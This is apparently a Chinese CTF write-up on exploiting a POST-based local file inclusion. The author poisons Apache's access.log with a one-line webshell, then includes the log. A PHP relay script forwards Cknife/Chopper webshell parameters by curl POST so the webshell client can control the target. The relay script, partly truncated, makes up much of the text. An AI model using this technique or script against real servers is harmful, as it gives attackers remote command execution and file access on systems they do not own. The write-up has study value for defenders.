最近在忙比赛,碰到了一个文件包含漏洞,通过包含apache的access.log中的一句话,使用cknife进行连接,但是get型是十分轻松的,直接 http://xxx/filesin.php?filename=../apache/logs/access.log 进行包含利用就行了。但是当遇到这样的文件保护漏洞。
上面的办法是完全没有效果的,本身菜刀,c刀的配置参数中也不支持post选项,所以这好好的漏洞岂不是浪费了?通过之前的cookies注入中的cookies中转注入思想,写了一个简易的脚本(以c刀为例)。
首先我们先给日志写入一句话。
然后我们可以在靶机上查看一下是否上传成功。
ok
创建如下脚本:
'../apache/logs/access.log');if(isset($_post[croot]))//此处croot改为你的密码{ $tmp = array('croot'=>$_post[croot]);//此处croot改为你的密码 $data += $tmp;}if(isset($_post[action])){ $tmp = array('action'=>$_post[action]); $data += $tmp;}if(isset($_post['z1'])){ $tmp = array('z1'=>$_post[z1]); $data += $tmp;}//$data = array('filename'=>'../apache/logs/access.log','croot'=>$postdata,'action'=$_post[action],'z1'=$_post['z1']);//var_dump($data);$data = http_build_query($data);$curl = curl_init();curl_setopt($curl,curlopt_url,$url);curl_setopt($curl, curlopt_returntransfer, 1);curl_setopt($curl, curlopt_post, 1);curl_setopt($curl, curlopt_postfields, $data);$rtdata = curl_exec($curl);curl_close($curl);echo $rtdata;?>
打开c刀
本地搭建php服务器进行连接。测试效果
ok.本次仅仅对php类型的文件管理进行了中转处理,其他管理功能可能支持的不大好。